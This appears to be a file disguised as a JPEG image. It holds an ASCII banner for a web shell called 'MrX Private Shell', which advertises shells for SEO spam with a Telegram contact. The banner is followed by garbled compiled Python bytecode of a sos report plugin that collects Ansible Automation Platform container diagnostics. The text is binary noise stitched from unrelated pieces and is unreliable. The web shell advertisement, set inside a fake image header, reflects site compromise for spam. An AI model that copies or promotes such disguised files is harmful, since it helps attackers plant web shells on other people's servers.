����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
��ir$ � @ s2 d dl Z d dlmZmZmZ G dd� dee�ZdS )� N)�Plugin�RedHatPlugin� PluginOptc @ s` e Zd ZdZdZdZdZdZedde dd �ed
de dd �gZ
dd
� Zdd� Zdd� Z
dd� ZdS )�AAPContainerizedzPCollects details about AAP Containerized setup
under a user's home directoryzAAP Containerized SetupZaap_containerized)ZsysmgmtZansible)Zpodman�username� z>Username that was used to setup AAP containerized installation)�defaultZval_typeZdesc� directoryzhAbsolute path to AAP containers volume directory. Defaults to 'aap' under provided user's home directoryc
s: � � d�}� � d�� _|s�� �d� � �d�}|d dkr�t� }|d �� D ].}d|v rLd |v rL|jd
d�\}}|�|� qLt|�d
kr�|� � }� �d|� d
�� n� �
d� d S � js�tj�
d|� ��}� �|d�� _� �� j��r� fdd�dD �}� �|� � �� j� n� �
d� j� d�� d|� d�dfd|� d�dfg} | D ]\}
}� j|
|d� �qH� �|�}|D ]H}
� jd|� d|
� d
�|
� d�dd� � jd|� d |
� d
�|
d!d� �qpd"d#gg d$�g d%�d&d'gd(d)gd*�}|�� D ]N\}}||v �r�|D ]4}� �|�}� jd|� d+|� d,|� d-�||d� �q��q�d S ).Nr r zMAAP username is missing, use '-k aap_containerized.username=<user>' to set itzps aux�statusr �outputz/usr/bin/podmanz!/.local/share/containers/storage/� )�maxsplitzAAP username detected as '�'z5Unable to determine AAP username, terminating plugin.�~Zaapc s g | ]}� � � j|��qS � )� path_join�aap_directory_name)�.0�path��selfr �H/usr/lib/python3.9/site-packages/sos/report/plugins/aap_containerized.py�
<listcomp>H s �z*AAPContainerized.setup.<locals>.<listcomp>)Z
containersZtlszcontroller/etc/*.certzcontroller/etc/*.keyzeda/etc/*.certz
eda/etc/*.keyzgateway/etc/*.certzgateway/etc/*.keyzhub/etc/*.certz
hub/etc/*.keyzhub/etc/keys/*.pemzpostgresql/*.crtzpostgresql/*.keyzreceptor/etc/*.crtzreceptor/etc/*.keyzreceptor/etc/*.pemzredis/*.crtzredis/*.keyz
Directory z2 does not exist or invalid absolute path provided.�su - z -c 'podman info --debug'Zpodman_infoz -c 'podman ps -a --format json'Zpodman_ps_all_json)�suggest_filenamez -c 'podman logs z.logZaap_container_logs)r Zsubdirz -c 'podman inspect Zpodman_inspect_logs�awx-manage check_license --data�awx-manage list_instances)z!automation-gateway-service status�!aap-gateway-manage print_settingsz!aap-gateway-manage authenticatorsz!aap-gateway-manage showmigrationsz aap-gateway-manage list_servicesz'aap-gateway-manage feature_flags --listzaap-gateway-manage --version)zawx-manage showmigrationsr z"awx-manage run_dispatcher --statusz)awx-manage run_callback_receiver --statusr zawx-manage run_wsrelay --statuszaap-eda-manage --versionzaap-eda-manage showmigrationszreceptorctl statuszreceptorclt work list)zautomation-controller-taskzautomation-gatewayzautomation-controller-webzautomation-eda-apiZreceptorz -c 'podman exec -it z
bash -c "z"')Z
get_optionr Z _log_warn�exec_cmd�set�
splitlines�split�add�len�pop�
_log_error�osr �
expanduserr Zpath_existsZadd_forbidden_pathZ
add_copy_specZadd_cmd_output�_get_aap_container_names�itemsZ_mangle_command)r r ZpsZpodman_users�line�user�_Zuser_home_directoryZforbidden_pathsZpodman_commandsZcommand�filenameZaap_containers� containerZpod_cmdsZpodZcmds�cmd�fnamer r r �setup) s�
�
�
�
��
��
� ���
���zAAPContainerized.setupc C sb z<d|� d�}| � |�}|d dkr8|d �� �d�W S g W S ty\ | �d� g Y S 0 d S )Nr z& -c 'podman ps -a --format {{.Names}}'r
r r �
z"Error retrieving Podman containers)r �stripr! � Exceptionr% )r r r/ Zcmd_outr r r r( � s
z)AAPContainerized._get_aap_container_namesc C s>